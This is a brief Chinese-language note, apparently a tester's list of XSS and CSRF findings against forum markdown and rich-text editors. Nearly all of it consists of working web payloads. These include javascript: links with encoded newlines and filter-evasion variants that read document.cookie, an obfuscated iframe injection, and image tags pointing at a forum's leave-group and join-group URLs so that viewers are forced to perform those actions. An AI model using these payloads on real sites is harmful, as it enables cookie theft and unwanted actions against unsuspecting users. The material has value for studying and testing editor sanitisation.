1,xss攻击,
markdown编辑器的问题,
[chaitin](javascript://bbs.huaweicloud.com/%0Aconsole.log%28document.cookie%29) [chaitin](javascript:https://bbs.huaweicloud.com/%0Aconsole.log%28document.cookie%29) [chaitin](javascript:http://bbs.huaweicloud.com/%0Aconsole.log%28document.cookie%29) [chaitin](javascript:http://bbs.huaweicloud.com/%0Aconsole.log%28alert%28123%29%29) [chaitin](http://bbs.huaweicloud.com/%0Aconsole.log%28document.cookie%29) [test](javascript://www.huaweicloud.com/%0Aalert%28%29) [test](javascript://www.huaweicloud.com/%0Aalalertert%28%29) [test](javascript://www.huaweicloud.com/%0Awindow['al'+'ert']%28%29)
富文本编辑器的问题,配合抓包工具注入js,
<iframe src="ja(vasc(ript:onerror=console.log;throw docum(ent.coo(kie" >
2,csrf攻击
采用一个退出联盟的url,作为markdown的一个图片,然后每次加载图片都会自动退出联盟,这是很可怕的
![ceshi](http://lgd.pm.comsenz-service.com/hero/forum.php?mod=group&action=out&fid=853) ![ceshi](http://lgd.pm.comsenz-service.com/hero/forum.php?mod=group&action=join&fid=853&inajax=1&ajaxdata=json)
=============